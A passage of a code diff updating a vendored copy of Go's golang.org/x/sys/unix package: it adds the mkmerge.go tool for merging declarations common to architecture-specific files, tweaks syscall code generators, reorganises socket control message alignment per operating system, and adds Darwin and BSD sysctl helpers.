// and netinet/in.h included via net/route.h above.
#define IPPROTO_L2TP 115
'
includes_NetBSD='
@ -482,8 +492,9 @@ ccflags="$@"
$2 ~ /^TCSET/ ||
$2 ~ /^TC(FLSH|SBRKP?|XONC)$/ ||
$2 !~ "RTF_BITS" &&
$2 ~ /^(IFF|IFT|NET_RT|RTM|RTF|RTV|RTA|RTAX)_/ ||
$2 ~ /^(IFF|IFT|NET_RT|RTM(GRP)?|RTF|RTV|RTA|RTAX)_/ ||
$2 ~ /^BIOC/ ||
$2 ~ /^DIOC/ ||
$2 ~ /^RUSAGE_(SELF|CHILDREN|THREAD)/ ||
$2 ~ /^RLIMIT_(AS|CORE|CPU|DATA|FSIZE|LOCKS|MEMLOCK|MSGQUEUE|NICE|NOFILE|NPROC|RSS|RTPRIO|RTTIME|SIGPENDING|STACK)|RLIM_INFINITY/ ||
$2 ~ /^PRIO_(PROCESS|PGRP|USER)/ ||
@ -494,7 +505,9 @@ ccflags="$@"
$2 ~ /^CAN_/ ||
$2 ~ /^CAP_/ ||
$2 ~ /^ALG_/ ||
$2 ~ /^FS_(POLICY_FLAGS|KEY_DESC|ENCRYPTION_MODE|[A-Z0-9_]+_KEY_SIZE|IOC_(GET|SET)_ENCRYPTION)/ ||
$2 ~ /^FS_(POLICY_FLAGS|KEY_DESC|ENCRYPTION_MODE|[A-Z0-9_]+_KEY_SIZE)/ ||
$2 ~ /^FS_IOC_.*ENCRYPTION/ ||
$2 ~ /^FSCRYPT_/ ||
$2 ~ /^GRND_/ ||
$2 ~ /^RND/ ||
$2 ~ /^KEY_(SPEC|REQKEY_DEFL)_/ ||
@ -521,9 +534,11 @@ ccflags="$@"
$2 ~ /^WDIOC_/ ||
$2 ~ /^NFN/ ||
$2 ~ /^XDP_/ ||
$2 ~ /^RWF_/ ||
$2 ~ /^(HDIO|WIN|SMART)_/ ||
$2 ~ /^CRYPTO_/ ||
$2 ~ /^TIPC_/ ||
$2 ~ /^DEVLINK_/ ||
$2 !~ "WMESGLEN" &&
$2 ~ /^W[A-Z0-9]+$/ ||
$2 ~/^PPPIOC/ ||

521
vendor/golang.org/x/sys/unix/mkmerge.go generated vendored Normal file
View File

@ -0,0 +1,521 @@
// Copyright 2020 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build ignore
// mkmerge.go parses generated source files and merges common
// consts, funcs, and types into a common source file, per GOOS.
//
// Usage:
// $ go run mkmerge.go -out MERGED FILE [FILE ...]
//
// Example:
// # Remove all common consts, funcs, and types from zerrors_linux_*.go
// # and write the common code into zerrors_linux.go
// $ go run mkmerge.go -out zerrors_linux.go zerrors_linux_*.go
//
// mkmerge.go performs the merge in the following steps:
// 1. Construct the set of common code that is idential in all
// architecture-specific files.
// 2. Write this common code to the merged file.
// 3. Remove the common code from all architecture-specific files.
package main
import (
"bufio"
"bytes"
"flag"
"fmt"
"go/ast"
"go/format"
"go/parser"
"go/token"
"io"
"io/ioutil"
"log"
"os"
"path"
"path/filepath"
"regexp"
"strconv"
"strings"
)
const validGOOS = "aix|darwin|dragonfly|freebsd|linux|netbsd|openbsd|solaris"
// getValidGOOS returns GOOS, true if filename ends with a valid "_GOOS.go"
func getValidGOOS(filename string) (string, bool) {
matches := regexp.MustCompile(`_(` + validGOOS + `)\.go$`).FindStringSubmatch(filename)
if len(matches) != 2 {
return "", false
}
return matches[1], true
}
// codeElem represents an ast.Decl in a comparable way.
type codeElem struct {
tok token.Token // e.g. token.CONST, token.TYPE, or token.FUNC
src string // the declaration formatted as source code
}
// newCodeElem returns a codeElem based on tok and node, or an error is returned.
func newCodeElem(tok token.Token, node ast.Node) (codeElem, error) {
var b strings.Builder
err := format.Node(&b, token.NewFileSet(), node)
if err != nil {
return codeElem{}, err
}
return codeElem{tok, b.String()}, nil
}
// codeSet is a set of codeElems
type codeSet struct {
set map[codeElem]bool // true for all codeElems in the set
}
// newCodeSet returns a new codeSet
func newCodeSet() *codeSet { return &codeSet{make(map[codeElem]bool)} }
// add adds elem to c
func (c *codeSet) add(elem codeElem) { c.set[elem] = true }
// has returns true if elem is in c
func (c *codeSet) has(elem codeElem) bool { return c.set[elem] }
// isEmpty returns true if the set is empty
func (c *codeSet) isEmpty() bool { return len(c.set) == 0 }
// intersection returns a new set which is the intersection of c and a
func (c *codeSet) intersection(a *codeSet) *codeSet {
res := newCodeSet()
for elem := range c.set {
if a.has(elem) {
res.add(elem)
}
}
return res
}
// keepCommon is a filterFn for filtering the merged file with common declarations.
func (c *codeSet) keepCommon(elem codeElem) bool {
switch elem.tok {
case token.VAR:
// Remove all vars from the merged file
return false
case token.CONST, token.TYPE, token.FUNC, token.COMMENT:
// Remove arch-specific consts, types, functions, and file-level comments from the merged file
return c.has(elem)
case token.IMPORT:
// Keep imports, they are handled by filterImports
return true
}
log.Fatalf("keepCommon: invalid elem %v", elem)
return true
}
// keepArchSpecific is a filterFn for filtering the GOARC-specific files.
func (c *codeSet) keepArchSpecific(elem codeElem) bool {
switch elem.tok {
case token.CONST, token.TYPE, token.FUNC:
// Remove common consts, types, or functions from the arch-specific file
return !c.has(elem)
}
return true
}
// srcFile represents a source file
type srcFile struct {
name string
src []byte
}
// filterFn is a helper for filter
type filterFn func(codeElem) bool
// filter parses and filters Go source code from src, removing top
// level declarations using keep as predicate.
// For src parameter, please see docs for parser.ParseFile.
func filter(src interface{}, keep filterFn) ([]byte, error) {
// Parse the src into an ast
fset := token.NewFileSet()
f, err := parser.ParseFile(fset, "", src, parser.ParseComments)
if err != nil {
return nil, err
}
cmap := ast.NewCommentMap(fset, f, f.Comments)
// Group const/type specs on adjacent lines
var groups specGroups = make(map[string]int)
var groupID int
decls := f.Decls
f.Decls = f.Decls[:0]
for _, decl := range decls {
switch decl := decl.(type) {
case *ast.GenDecl:
// Filter imports, consts, types, vars
specs := decl.Specs
decl.Specs = decl.Specs[:0]
for i, spec := range specs {
elem, err := newCodeElem(decl.Tok, spec)
if err != nil {
return nil, err
}
// Create new group if there are empty lines between this and the previous spec
if i > 0 && fset.Position(specs[i-1].End()).Line < fset.Position(spec.Pos()).Line-1 {
groupID++
}
// Check if we should keep this spec
if keep(elem) {
decl.Specs = append(decl.Specs, spec)
groups.add(elem.src, groupID)
}
}
// Check if we should keep this decl
if len(decl.Specs) > 0 {
f.Decls = append(f.Decls, decl)
}
case *ast.FuncDecl:
// Filter funcs
elem, err := newCodeElem(token.FUNC, decl)
if err != nil {
return nil, err
}
if keep(elem) {
f.Decls = append(f.Decls, decl)
}
}
}
// Filter file level comments
if cmap[f] != nil {
commentGroups := cmap[f]
cmap[f] = cmap[f][:0]
for _, cGrp := range commentGroups {
if keep(codeElem{token.COMMENT, cGrp.Text()}) {
cmap[f] = append(cmap[f], cGrp)
}
}
}
f.Comments = cmap.Filter(f).Comments()
// Generate code for the filtered ast
var buf bytes.Buffer
if err = format.Node(&buf, fset, f); err != nil {
return nil, err
}
groupedSrc, err := groups.filterEmptyLines(&buf)
if err != nil {
return nil, err
}
return filterImports(groupedSrc)
}
// getCommonSet returns the set of consts, types, and funcs that are present in every file.
func getCommonSet(files []srcFile) (*codeSet, error) {
if len(files) == 0 {
return nil, fmt.Errorf("no files provided")
}
// Use the first architecture file as the baseline
baseSet, err := getCodeSet(files[0].src)
if err != nil {
return nil, err
}
// Compare baseline set with other architecture files: discard any element,
// that doesn't exist in other architecture files.
for _, f := range files[1:] {
set, err := getCodeSet(f.src)
if err != nil {
return nil, err
}
baseSet = baseSet.intersection(set)
}
return baseSet, nil
}
// getCodeSet returns the set of all top-level consts, types, and funcs from src.
// src must be string, []byte, or io.Reader (see go/parser.ParseFile docs)
func getCodeSet(src interface{}) (*codeSet, error) {
set := newCodeSet()
fset := token.NewFileSet()
f, err := parser.ParseFile(fset, "", src, parser.ParseComments)
if err != nil {
return nil, err
}
for _, decl := range f.Decls {
switch decl := decl.(type) {
case *ast.GenDecl:
// Add const, and type declarations
if !(decl.Tok == token.CONST || decl.Tok == token.TYPE) {
break
}
for _, spec := range decl.Specs {
elem, err := newCodeElem(decl.Tok, spec)
if err != nil {
return nil, err
}
set.add(elem)
}
case *ast.FuncDecl:
// Add func declarations
elem, err := newCodeElem(token.FUNC, decl)
if err != nil {
return nil, err
}
set.add(elem)
}
}
// Add file level comments
cmap := ast.NewCommentMap(fset, f, f.Comments)
for _, cGrp := range cmap[f] {
set.add(codeElem{token.COMMENT, cGrp.Text()})
}
return set, nil
}
// importName returns the identifier (PackageName) for an imported package
func importName(iSpec *ast.ImportSpec) (string, error) {
if iSpec.Name == nil {
name, err := strconv.Unquote(iSpec.Path.Value)
if err != nil {
return "", err
}
return path.Base(name), nil
}
return iSpec.Name.Name, nil
}
// specGroups tracks grouped const/type specs with a map of line: groupID pairs
type specGroups map[string]int
// add spec source to group
func (s specGroups) add(src string, groupID int) error {
srcBytes, err := format.Source(bytes.TrimSpace([]byte(src)))
if err != nil {
return err
}
s[string(srcBytes)] = groupID
return nil
}
// filterEmptyLines removes empty lines within groups of const/type specs.
// Returns the filtered source.
func (s specGroups) filterEmptyLines(src io.Reader) ([]byte, error) {
scanner := bufio.NewScanner(src)
var out bytes.Buffer
var emptyLines bytes.Buffer
prevGroupID := -1 // Initialize to invalid group
for scanner.Scan() {
line := bytes.TrimSpace(scanner.Bytes())
if len(line) == 0 {
fmt.Fprintf(&emptyLines, "%s\n", scanner.Bytes())
continue
}
// Discard emptyLines if previous non-empty line belonged to the same
// group as this line
if src, err := format.Source(line); err == nil {
groupID, ok := s[string(src)]
if ok && groupID == prevGroupID {
emptyLines.Reset()
}
prevGroupID = groupID
}
emptyLines.WriteTo(&out)
fmt.Fprintf(&out, "%s\n", scanner.Bytes())
}
if err := scanner.Err(); err != nil {
return nil, err
}
return out.Bytes(), nil
}
// filterImports removes unused imports from fileSrc, and returns a formatted src.
func filterImports(fileSrc []byte) ([]byte, error) {
fset := token.NewFileSet()
file, err := parser.ParseFile(fset, "", fileSrc, parser.ParseComments)
if err != nil {
return nil, err
}
cmap := ast.NewCommentMap(fset, file, file.Comments)
// create set of references to imported identifiers
keepImport := make(map[string]bool)
for _, u := range file.Unresolved {
keepImport[u.Name] = true
}
// filter import declarations
decls := file.Decls
file.Decls = file.Decls[:0]
for _, decl := range decls {
importDecl, ok := decl.(*ast.GenDecl)
// Keep non-import declarations
if !ok || importDecl.Tok != token.IMPORT {
file.Decls = append(file.Decls, decl)
continue
}
// Filter the import specs
specs := importDecl.Specs
importDecl.Specs = importDecl.Specs[:0]
for _, spec := range specs {
iSpec := spec.(*ast.ImportSpec)
name, err := importName(iSpec)
if err != nil {
return nil, err
}
if keepImport[name] {
importDecl.Specs = append(importDecl.Specs, iSpec)
}
}
if len(importDecl.Specs) > 0 {
file.Decls = append(file.Decls, importDecl)
}
}
// filter file.Imports
imports := file.Imports
file.Imports = file.Imports[:0]
for _, spec := range imports {
name, err := importName(spec)
if err != nil {
return nil, err
}
if keepImport[name] {
file.Imports = append(file.Imports, spec)
}
}
file.Comments = cmap.Filter(file).Comments()
var buf bytes.Buffer
err = format.Node(&buf, fset, file)
if err != nil {
return nil, err
}
return buf.Bytes(), nil
}
// merge extracts duplicate code from archFiles and merges it to mergeFile.
// 1. Construct commonSet: the set of code that is idential in all archFiles.
// 2. Write the code in commonSet to mergedFile.
// 3. Remove the commonSet code from all archFiles.
func merge(mergedFile string, archFiles ...string) error {
// extract and validate the GOOS part of the merged filename
goos, ok := getValidGOOS(mergedFile)
if !ok {
return fmt.Errorf("invalid GOOS in merged file name %s", mergedFile)
}
// Read architecture files
var inSrc []srcFile
for _, file := range archFiles {
src, err := ioutil.ReadFile(file)
if err != nil {
return fmt.Errorf("cannot read archfile %s: %w", file, err)
}
inSrc = append(inSrc, srcFile{file, src})
}
// 1. Construct the set of top-level declarations common for all files
commonSet, err := getCommonSet(inSrc)
if err != nil {
return err
}
if commonSet.isEmpty() {
// No common code => do not modify any files
return nil
}
// 2. Write the merged file
mergedSrc, err := filter(inSrc[0].src, commonSet.keepCommon)
if err != nil {
return err
}
f, err := os.Create(mergedFile)
if err != nil {
return err
}
buf := bufio.NewWriter(f)
fmt.Fprintln(buf, "// Code generated by mkmerge.go; DO NOT EDIT.")
fmt.Fprintln(buf)
fmt.Fprintf(buf, "// +build %s\n", goos)
fmt.Fprintln(buf)
buf.Write(mergedSrc)
err = buf.Flush()
if err != nil {
return err
}
err = f.Close()
if err != nil {
return err
}
// 3. Remove duplicate declarations from the architecture files
for _, inFile := range inSrc {
src, err := filter(inFile.src, commonSet.keepArchSpecific)
if err != nil {
return err
}
err = ioutil.WriteFile(inFile.name, src, 0644)
if err != nil {
return err
}
}
return nil
}
func main() {
var mergedFile string
flag.StringVar(&mergedFile, "out", "", "Write merged code to `FILE`")
flag.Parse()
// Expand wildcards
var filenames []string
for _, arg := range flag.Args() {
matches, err := filepath.Glob(arg)
if err != nil {
fmt.Fprintf(os.Stderr, "Invalid command line argument %q: %v\n", arg, err)
os.Exit(1)
}
filenames = append(filenames, matches...)
}
if len(filenames) < 2 {
// No need to merge
return
}
err := merge(mergedFile, filenames...)
if err != nil {
fmt.Fprintf(os.Stderr, "Merge failed with error: %v\n", err)
os.Exit(1)
}
}

View File

@ -76,6 +76,11 @@ func main() {
convertUtsnameRegex := regexp.MustCompile(`((Sys|Node|Domain)name|Release|Version|Machine)(\s+)\[(\d+)\]u?int8`)
b = convertUtsnameRegex.ReplaceAll(b, []byte("$1$3[$4]byte"))
// Convert [n]int8 to [n]byte in Statvfs_t members to simplify
// conversion to string.
convertStatvfsRegex := regexp.MustCompile(`((Fstype|Mnton|Mntfrom)name)(\s+)\[(\d+)\]int8`)
b = convertStatvfsRegex.ReplaceAll(b, []byte("$1$3[$4]byte"))
// Convert [1024]int8 to [1024]byte in Ptmget members
convertPtmget := regexp.MustCompile(`([SC]n)(\s+)\[(\d+)\]u?int8`)
b = convertPtmget.ReplaceAll(b, []byte("$1[$3]byte"))

View File

@ -121,7 +121,7 @@ func main() {
}
libc := false
if goos == "darwin" && strings.Contains(buildTags(), ",go1.12") {
if goos == "darwin" && (strings.Contains(buildTags(), ",go1.12") || strings.Contains(buildTags(), ",go1.13")) {
libc = true
}
trampolines := map[string]bool{}
@ -292,11 +292,6 @@ func main() {
asm = "syscall_" + strings.ToLower(asm[:1]) + asm[1:] // internal syscall call
sysname = strings.TrimPrefix(sysname, "SYS_") // remove SYS_
sysname = strings.ToLower(sysname) // lowercase
if sysname == "getdirentries64" {
// Special case - libSystem name and
// raw syscall name don't match.
sysname = "__getdirentries64"
}
libcFn = sysname
sysname = "funcPC(libc_" + sysname + "_trampoline)"
}

View File

@ -35,6 +35,7 @@ var (
b32 = flag.Bool("b32", false, "32bit big-endian")
l32 = flag.Bool("l32", false, "32bit little-endian")
tags = flag.String("tags", "", "build tags")
illumos = flag.Bool("illumos", false, "illumos specific code generation")
)
// cmdLine returns this programs's commandline arguments
@ -306,11 +307,16 @@ func main() {
imp := ""
if pack != "unix" {
imp = "import \"golang.org/x/sys/unix\"\n"
}
syscallimp := ""
if !*illumos {
syscallimp = "\"syscall\""
}
vardecls := "\t" + strings.Join(vars, ",\n\t")
vardecls += " syscallFunc"
fmt.Printf(srcTemplate, cmdLine(), buildTags(), pack, imp, dynimports, linknames, vardecls, text)
fmt.Printf(srcTemplate, cmdLine(), buildTags(), pack, syscallimp, imp, dynimports, linknames, vardecls, text)
}
const srcTemplate = `// %s
@ -321,8 +327,8 @@ const srcTemplate = `// %s
package %s
import (
"syscall"
"unsafe"
%s
)
%s
%s

16
vendor/golang.org/x/sys/unix/sockcmsg_dragonfly.go generated vendored Normal file
View File

@ -0,0 +1,16 @@
// Copyright 2019 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
package unix
// Round the length of a raw sockaddr up to align it properly.
func cmsgAlignOf(salen int) int {
salign := SizeofPtr
if SizeofPtr == 8 && !supportsABI(_dragonflyABIChangeVersion) {
// 64-bit Dragonfly before the September 2019 ABI changes still requires
// 32-bit aligned access to network subsystem.
salign = 4
}
return (salen + salign - 1) & ^(salign - 1)
}

View File

@ -17,7 +17,7 @@ func UnixCredentials(ucred *Ucred) []byte {
h.Level = SOL_SOCKET
h.Type = SCM_CREDENTIALS
h.SetLen(CmsgLen(SizeofUcred))
*((*Ucred)(cmsgData(h))) = *ucred
*(*Ucred)(h.data(0)) = *ucred
return b
}

View File

@ -9,35 +9,9 @@
package unix
import (
"runtime"
"unsafe"
)
// Round the length of a raw sockaddr up to align it properly.
func cmsgAlignOf(salen int) int {
salign := SizeofPtr
switch runtime.GOOS {
case "aix":
// There is no alignment on AIX.
salign = 1
case "darwin", "dragonfly", "solaris", "illumos":
// NOTE: It seems like 64-bit Darwin, DragonFly BSD,
// illumos, and Solaris kernels still require 32-bit
// aligned access to network subsystem.
if SizeofPtr == 8 {
salign = 4
}
case "netbsd", "openbsd":
// NetBSD and OpenBSD armv7 require 64-bit alignment.
if runtime.GOARCH == "arm" {
salign = 8
}
}
return (salen + salign - 1) & ^(salign - 1)
}
// CmsgLen returns the value to store in the Len field of the Cmsghdr
// structure, taking into account any necessary alignment.
func CmsgLen(datalen int) int {
@ -50,8 +24,8 @@ func CmsgSpace(datalen int) int {
return cmsgAlignOf(SizeofCmsghdr) + cmsgAlignOf(datalen)
}
func cmsgData(h *Cmsghdr) unsafe.Pointer {
return unsafe.Pointer(uintptr(unsafe.Pointer(h)) + uintptr(cmsgAlignOf(SizeofCmsghdr)))
func (h *Cmsghdr) data(offset uintptr) unsafe.Pointer {
return unsafe.Pointer(uintptr(unsafe.Pointer(h)) + uintptr(cmsgAlignOf(SizeofCmsghdr)) + offset)
}
// SocketControlMessage represents a socket control message.
@ -94,10 +68,8 @@ func UnixRights(fds ...int) []byte {
h.Level = SOL_SOCKET
h.Type = SCM_RIGHTS
h.SetLen(CmsgLen(datalen))
data := cmsgData(h)
for _, fd := range fds {
*(*int32)(data) = int32(fd)
data = unsafe.Pointer(uintptr(data) + 4)
for i, fd := range fds {
*(*int32)(h.data(4 * uintptr(i))) = int32(fd)
}
return b
}

38
vendor/golang.org/x/sys/unix/sockcmsg_unix_other.go generated vendored Normal file
View File

@ -0,0 +1,38 @@
// Copyright 2019 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build aix darwin freebsd linux netbsd openbsd solaris
package unix
import (
"runtime"
)
// Round the length of a raw sockaddr up to align it properly.
func cmsgAlignOf(salen int) int {
salign := SizeofPtr
// dragonfly needs to check ABI version at runtime, see cmsgAlignOf in
// sockcmsg_dragonfly.go
switch runtime.GOOS {
case "aix":
// There is no alignment on AIX.
salign = 1
case "darwin", "illumos", "solaris":
// NOTE: It seems like 64-bit Darwin, Illumos and Solaris
// kernels still require 32-bit aligned access to network
// subsystem.
if SizeofPtr == 8 {
salign = 4
}
case "netbsd", "openbsd":
// NetBSD and OpenBSD armv7 require 64-bit alignment.
if runtime.GOARCH == "arm" {
salign = 8
}
}
return (salen + salign - 1) & ^(salign - 1)
}

View File

@ -237,7 +237,7 @@ func anyToSockaddr(fd int, rsa *RawSockaddrAny) (Sockaddr, error) {
break
}
}
bytes := (*[10000]byte)(unsafe.Pointer(&pp.Path[0]))[0:n]
bytes := (*[len(pp.Path)]byte)(unsafe.Pointer(&pp.Path[0]))[0:n]
sa.Name = string(bytes)
return sa, nil
@ -510,6 +510,23 @@ func SysctlRaw(name string, args ...int) ([]byte, error) {
return buf[:n], nil
}
func SysctlClockinfo(name string) (*Clockinfo, error) {
mib, err := sysctlmib(name)
if err != nil {
return nil, err
}
n := uintptr(SizeofClockinfo)
var ci Clockinfo
if err := sysctl(mib, (*byte)(unsafe.Pointer(&ci)), &n, nil, 0); err != nil {
return nil, err
}
if n != SizeofClockinfo {
return nil, EIO
}
return &ci, nil
}
//sys utimes(path string, timeval *[2]Timeval) (err error)
func Utimes(path string, tv []Timeval) error {
@ -577,8 +594,6 @@ func Futimes(fd int, tv []Timeval) error {
return futimes(fd, (*[2]Timeval)(unsafe.Pointer(&tv[0])))
}
//sys fcntl(fd int, cmd int, arg int) (val int, err error)
//sys poll(fds *PollFd, nfds int, timeout int) (n int, err error)
func Poll(fds []PollFd, timeout int) (n int, err error) {

29
vendor/golang.org/x/sys/unix/syscall_darwin.1_12.go generated vendored Normal file
View File

@ -0,0 +1,29 @@
// Copyright 2019 The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// +build darwin,go1.12,!go1.13
package unix
import (
"unsafe"
)
func Getdirentries(fd int, buf []byte, basep *uintptr) (n int, err error) {
// To implement this using libSystem we'd need syscall_syscallPtr for
// fdopendir. However, syscallPtr was only added in Go 1.13, so we fall
// back to raw syscalls for this func on Go 1.12.
var p unsafe.Pointer
if len(buf) > 0 {
p = unsafe.Pointer(&buf[0])
} else {
p = unsafe.Pointer(&_zero)
}
r0, _, e1 := Syscall6(SYS_GETDIRENTRIES64, uintptr(fd), uintptr(p), uintptr(len(buf)), uintptr(unsafe.Pointer(basep)), 0, 0)
n = int(r0)
if e1 != 0 {
return n, errnoErr(e1)
}
return n, nil
}

Some files were not shown because too many files have changed in this diff Show More